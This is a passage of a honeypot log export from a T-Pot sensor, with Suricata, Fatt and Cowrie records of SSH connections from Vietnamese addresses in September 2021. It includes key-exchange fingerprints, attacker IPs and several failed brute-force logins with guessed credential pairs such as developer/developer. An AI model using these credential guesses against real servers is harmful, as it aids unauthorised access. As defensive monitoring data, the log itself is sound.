3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hm"}}	1	\N	\N	alert	\N	\N
25984	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:13.623868+03	2021-09-20 14:15:12.684645+03	{"_id": "DAbnAnwBvYTbRNuEIR4a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 600985853497892, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46444, "dest_port": 22, "timestamp": "2021-09-20T11:11:13.623868Z", "@timestamp": "2021-09-20T11:11:13.623Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25985	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:13.741788+03	2021-09-20 14:15:12.686643+03	{"_id": "EQbnAnwBvYTbRNuEIh44", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44898, "timestamp": "2021-09-20T11:11:13.741788", "@timestamp": "2021-09-20T11:11:13.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25986	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:14.075659+03	2021-09-20 14:15:12.687644+03	{"_id": "EgbnAnwBvYTbRNuEIh44", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44898, "dest_port": 22, "timestamp": "2021-09-20T11:11:14.075659", "@timestamp": "2021-09-20T11:11:14.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26012	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:12.552177+03	2021-09-20 14:15:12.720646+03	{"_id": "BAbnAnwBvYTbRNuEHh7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cde95387c075", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:12.552177Z", "@timestamp": "2021-09-20T11:11:12.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25987	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:13.736767+03	2021-09-20 14:15:12.689643+03	{"_id": "EwbnAnwBvYTbRNuEIh7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:44898 (192.168.176.2:22) [session: ab3913da8dba]", "session": "ab3913da8dba", "@version": "1", "protocol": "ssh", "src_port": 44898, "dest_port": 22, "timestamp": "2021-09-20T11:11:13.736767Z", "@timestamp": "2021-09-20T11:11:13.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25988	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:13.625425+03	2021-09-20 14:15:12.690645+03	{"_id": "FQbnAnwBvYTbRNuEIh7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cde95387c075", "@version": "1", "timestamp": "2021-09-20T11:11:13.625425Z", "@timestamp": "2021-09-20T11:11:13.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25989	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:13.739675+03	2021-09-20 14:15:12.691675+03	{"_id": "FgbnAnwBvYTbRNuEIh7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ab3913da8dba", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:13.739675Z", "@timestamp": "2021-09-20T11:11:13.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25990	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:14.076517+03	2021-09-20 14:15:12.692675+03	{"_id": "FwbnAnwBvYTbRNuEIh7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ab3913da8dba", "@version": "1", "timestamp": "2021-09-20T11:11:14.076517Z", "@timestamp": "2021-09-20T11:11:14.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25991	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:14.294477+03	2021-09-20 14:15:12.693679+03	{"_id": "GAbnAnwBvYTbRNuEIh7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [developer/developer] failed", "session": "da822f3cd439", "@version": "1", "password": "developer", "username": "developer", "timestamp": "2021-09-20T11:11:14.294477Z", "@timestamp": "2021-09-20T11:11:14.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25992	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:14.33216+03	2021-09-20 14:15:12.695646+03	{"_id": "GQbnAnwBvYTbRNuEIh7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ashok/ashok123] failed", "session": "66532e6039d1", "@version": "1", "password": "ashok123", "username": "ashok", "timestamp": "2021-09-20T11:11:14.332160Z", "@timestamp": "2021-09-20T11:11:14.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25993	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:14.56305+03	2021-09-20 14:15:12.696674+03	{"_id": "GgbnAnwBvYTbRNuEJh62", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "2ce7ec20b76a", "@version": "1", "duration": 5.492152214050293, "timestamp": "2021-09-20T11:11:14.563050Z", "@timestamp": "2021-09-20T11:11:14.563Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25994	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:15.545133+03	2021-09-20 14:15:12.697674+03	{"_id": "GwbnAnwBvYTbRNuEKh6f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admi/admi] failed", "session": "ab3913da8dba", "@version": "1", "password": "admi", "username": "admi", "timestamp": "2021-09-20T11:11:15.545133Z", "@timestamp": "2021-09-20T11:11:15.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25995	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:15.780526+03	2021-09-20 14:15:12.698646+03	{"_id": "HQbnAnwBvYTbRNuEKh6f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "da822f3cd439", "@version": "1", "duration": 3.049682140350342, "timestamp": "2021-09-20T11:11:15.780526Z", "@timestamp": "2021-09-20T11:11:15.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
